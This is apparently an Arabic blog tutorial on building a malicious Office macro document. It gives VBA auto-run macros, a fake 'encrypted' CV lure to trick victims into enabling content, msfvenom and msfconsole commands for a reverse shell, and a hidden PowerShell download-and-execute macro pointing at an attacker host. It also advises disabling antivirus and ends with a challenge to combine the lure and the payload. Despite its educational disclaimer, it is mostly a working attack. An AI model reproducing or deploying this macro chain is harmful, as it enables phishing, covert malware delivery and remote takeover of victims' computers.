Execution with Office


MyMacro


سلام عليكم، إن شاءالله في هذا المقال ساقوم بشرح كيف يتم إستغلال Ms Office Macro من اجل الحصول على إتصال عكسي مع جهاز الضحية وايضاً ساتطرق إلى اسلوب الهندسة الإجتماعية. للعلم، ما يتم عرضه في هذا المحتوى هو من هدف تعليمي وتوعوي وفهم آليه عمل الاخترق من قبل Ms Office Macro. الكاتب يخلي المسؤوليه التامة في حالة اساءت الاستخدام.

تعد Microsoft Office احد مجموعات البرامج الشائعة جدًا والتي يتم استخدامها في جميع المؤسسات والشركات والحواسيب الشخصية وتعد من اهم البرامج الموثوقة ونظرًا لشعبيتها، تعد تطبيقات Office هدفاً رئيسياً لتصيد الاحتيال، فيما يتم تحديث البرنامج من قبل Microsoft بشكل دوري لتفادي اي ثغرات امنية. كذلك اعتذر للجميع لاني لن اتطرق إلى شرح ما هو الـ Macro وفيما يستخدم ولكن المصادر العلنية شرحت عملها بالتفصيل.

- تذكر ان هجمات Macro تعمل فقط على doc. او docm. وتاكد بان يتم تخزين الملف على إنه Word 97-2003 Document وإلا فلن يعمل معك

اولا: لنبداء ببعض الاساسيات ونقوم بإنشاء ملف جديد ونقوم بتخزينه على إصدار 2003-97 بإسم Doc1.doc ومن ثم الذهاب إلى View ونختار Macro

نقوم بتسمية الـ Macro ومن الممكن ان يتم تسميته باي شي ولكن في هذا المثال، سيكون MyMacro، وايضاً لا ننسى ان نختار إسم الملف الذي سنعمل عليه وهو نفس الملف الحالي لذلك سنختار Doc1

نقوم بتغير محتوا نافذت ال vba ونضع هذه الاوامر والتي من شأنها ان تعمل MsgBox عندف فتح الملف.

Sub Document_Open()

MyMacro

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub MyMacro()

MsgBox ("This is a macro test")

End Sub

نقوم بحفظ التغيرات الحاصله على الملف ونقوم بفتح الملف مرة آخرى وسنلاحظ إن هناك رسالة تحذيرية ويجب علينا ان نضغط على Enable Content كما سنلاحظ بان الرسالة التحذيرية توضح بوجود Macros ولكنه Disable. هذا هو إعداد الأمان الافتراضي لأي تطبيق من تطبيقات Office

توجد طريقة متقدمة لإخفاء تلك الرسالة التحذيرية ولكن لن اتطرق لها لدواعي امنية والحفاظ على المستوى الاخلاقي

في حال تم الضغط على Enable Content، فإن نافذ جديدة ستظهر امامك او ما يسمي بـ MsgBox، وفي كل مرة يتم فتح الملف، ستظهر تلك الرسالة.

ممتاز….

لنقم بتطوير الـ vba code قليلاً ونجعله يفتح لنا نافذه cmd فلتكن الاوامر كالتالي

Sub Document_Open()

MyMacro

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub MyMacro()

Call Shell("cmd.exe" & dosCmd, vbNormalFocus)

End Sub

فالنحفظ المحلف بحسب المتفق عليه باصدار 2003-97 ونعيد فتح المجلد من جديد

ممتاز…

لنقم بالتفكير قليلاً، هل من الممكن ان نجعل cmd يعمل في الخلفية دون ظهوره في الشاشة؟ وهل نستطيع تشغيل تطبيق اخر دون الـcmd؟ نعم، كل ذلك ممكن عمله ولكن ساترك المجال لكم من الجل التفكير فالحل


الآن سننتقل إلى مرحلة متقدمة قليلا وهي استخدام ملف مشفر من اجل إقناع الضحية بضغط على Enable Content وان نوهمه بان الملف مشفر ويجب ان يضغط عليه ليحصل على Clear Text. تذكر يا عزيزي، كل هذا من الجل التعليم والتوعيه وليس من اجل الهجوم والإختراق


التمرين الاولى: لنختار ملف معين ويكون مهم جداً فلنقل ان الملف هو عباره عن سيرة ذاتية، حيث سنقوم بتشفير هذا الملف، هنا الملف قبل التشفير

نقوم بتحديد الكل وثم نذهب إلى

Insert ---> Quick Parts ---> AutoText ---> Save Selection to AutoText Gallery ونقوم بتخزين الـ Block بنفس اسم الملف (في هذا المثال هو MyCV) ومن ثم نضغط OK

-الان نذهب إلى base64encoder من اجل تشفير المحتوى

نقوم بتحديد الكل ونلزق المحتوي المشفر إلي الملف ونظيف بعض المسطلحات لنوهم المستلم بان هذا الملف فعلاً تم تشفيره من اجل الحفاظ على سرية بيانات الشخص

ممتاز، الان لننتقل إلى الـ Macro ولا ننسى ان نختار الملف الحالي وهو MyCV، ونضع هذه الاوامر من اجل إسترجاع النص الاصلي

Sub Document_Open()

SubstitutePage

End Sub

Sub AutoOpen()

SubstitutePage

End Sub

Sub SubstitutePage()

ActiveDocument.Content.Select

Selection.Delete

ActiveDocument.AttachedTemplate.AutoTextEntries("MyCV").Insert Where:=Selection.Range, RichText:=True

End Sub

نحفظ الملف ونعيد فتحه من جديد وكما نلاحظ ظهرت لدينا نافذه الرساله التحذيرية وهنا ستوظف الهندسة الإجتماعية في اقناع الشخص بالضغط على Enable content

نحفظ الملف ونعيد فتحه من جديد وكما نلاحظ ظهرت لدينا نافذه الرساله التحذيرية وهنا ستوظف الهندسة الإجتماعية في اقناع الشخص بالضغط على Enable content، وفر الضغط سيحصل المستخدم على النص بكل في Clear Text.

حسناً، كما لاحضنا سابقاً ان من خلال الـ vba code استطعنا ان نفتح cmd وكذلك نستطيع ان نفتح اي تطبيق آخر، همممممممم، هل نستطيح ان نجعل powershell يتصل بجهازي من اجل تنزيل ملف معين ام لا؟ نعم ممكن، ،من هنا سادخل في صلب الموضوع وهو عمل PoC


التمرين الثاني: نقوم بصنع payload شخصيا ساستخدم

msfvenom -p windows/shell_reverse_tcp LHOST=a.a.a.a LPORT=443 -f exe > msfstaged.exe

قم بإطفاء برامج وجدار الحماية والا سيتم حذف الـPayload

وبعدها نضع الـKali على الـ Listener

msfconsole -q -x "use exploit/multi/handler; set payload windows/shell_reverse_tcp; set lhost a.a.a.a; set lport 443; run"

نقوم بشغيل الـ http server

python3 -m http.server 80

نقوم بتغير اوامر الـ vba

Sub Document_Open()

MyMacro

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub MyMacro()

Dim str As String

str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://a.a.a.a/msfstaged.exe', 'msfstaged.exe')"

Shell str, vbHide

Dim exePath As String

exePath = ActiveDocument.Path + "\msfstaged.exe"

Wait (2)

Shell exePath, vbHide

End Sub

Sub Wait(n As Long)

Dim t As Date

t = Now

Do

DoEvents

Loop Until Now >= DateAdd("s", n, t)

End Sub

لنقوم بشرح الاوامر

اولاً: وضعنا امر الـ Powerhell وهو من اجل تنزيل الملف الخبيث من جهاز المخترق إلى الضحية

ثانياً: استخدمها vbHide من اجل اخفاء تشغيل الـ Powershell آثناء تنفيذ تلك الاوامر

ثالثاً: استخدما exePath من اجل تشغيل الملف وكذلك vbHide للإخفاء

رابعاً: تم إستخدام loop من اجل اخذ الوقت الحالي للجهاز ومقارنته بزمن المستغرق لتنزيل الملف ولذلك لكي لا ينقطع التنزيل ولم يتم تحميل الملف بالشكل الكامل


عند تنفيذ جميع ما سبق فإنك ستحصل على اتصال عكسى من قبل الضحية كما هو موضح فالاسفل

التحدي:

  • قم بدمج التمرين الاول والثاني مع بعض وقم بالتغيرات اللزمة؟ ابلغني ان واجهتك اي صعوبه في ذلك

تذكر يا عزيزي، كل ما تم شرحه من اجل التعليم والتوعية عن مدى خطورة Macro ولا تسئ الاستخدام او إذاء الغير

هناك الكثير ما يمكنك فعله من خلال الـ Macro اتمنى إني أفدتك ولو fالقليل وإن كان لديك اي معلومة بإمكانك التعليق لاستفيد ويستفيد منها hg[ldu، فإن توفقت في إرسال الرسالة فهذا من فضل ربي وإن قصرت فهذا مني والسلام عليكم ورحمة الله وبركاتة

أخوكم: IronHulk 🎩